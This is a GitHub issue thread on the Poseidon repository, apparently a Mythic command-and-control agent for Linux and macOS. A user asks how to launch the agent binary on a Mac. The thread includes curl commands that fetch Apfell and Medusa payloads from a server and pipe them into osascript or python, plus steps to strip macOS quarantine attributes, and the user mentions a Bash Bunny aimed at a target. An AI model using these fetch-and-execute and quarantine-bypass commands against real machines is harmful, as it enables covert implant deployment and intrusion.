MythicAgents / poseidon

Poseidon is a Golang agent targeting Linux and macOS
Other
118 stars 32 forks source link

an example oneliner for executing poseidon.bin in mac terminal please :-) #21

Closed careyjames closed 2 years ago

careyjames commented 2 years ago

Hello Gang!

May I please have an example oneliner for executing poseidon.bin in the mac terminal, please :-)

its-a-feature commented 2 years ago

Hello!

On macOS, you can execute it just like you would from a Linux terminal (i.e. ./poseidon.bin). Two things to consider though:

  1. Just like on Linux, make sure the file is actually executable (i.e. chmod +x ./poseidon.bin)
  2. If you downloaded the file via a browser to your macOS machine, then the browser will add the com.apple.quarantine attribute which will prevent it from running. You need to clear that first (i.e. xattr -c ./poseidon.bin or xattr -d com.apple.quarantine ./poseidon.bin)
careyjames commented 2 years ago

here are ones I have used for others in Mythic, but I'm stuck with Poseidon.

APFELL curl -s -k https://888.888.888.888:7443/direct/download/4672424c-6e17-45a9-9774-a831bf8d9e76 | osascript -l JavaScript &disown MEDUSA curl -s -k https://888.888.888.888:7443/direct/download/4672424c-6e17-45a9-9774-a831bf8d9e76 | python &disown

careyjames commented 2 years ago

well, I mean, in my bash bunny I'm planning the code for the target..

careyjames commented 2 years ago

I want to be able to execute the file without saving it to disk like you see in these other examples.

when I try variations of I get: chmod: ./poseidon.bin: No such file or directory

careyjames commented 2 years ago

curl -s -k https://888.888.888.888:7443/direct/download/4672424c-6e17-45a9-9774-a831bf8d9e76 | chmod +x ./ &disown

that does not return an error, maybe that's it?

its still not connecting back though

its-a-feature commented 2 years ago

As far as I know, there isn't a way to just curl/wget down an executable and run it in memory without having something else be the thing to pull it down. You need to curl it it down and write it out as a file, then do the chmod +x.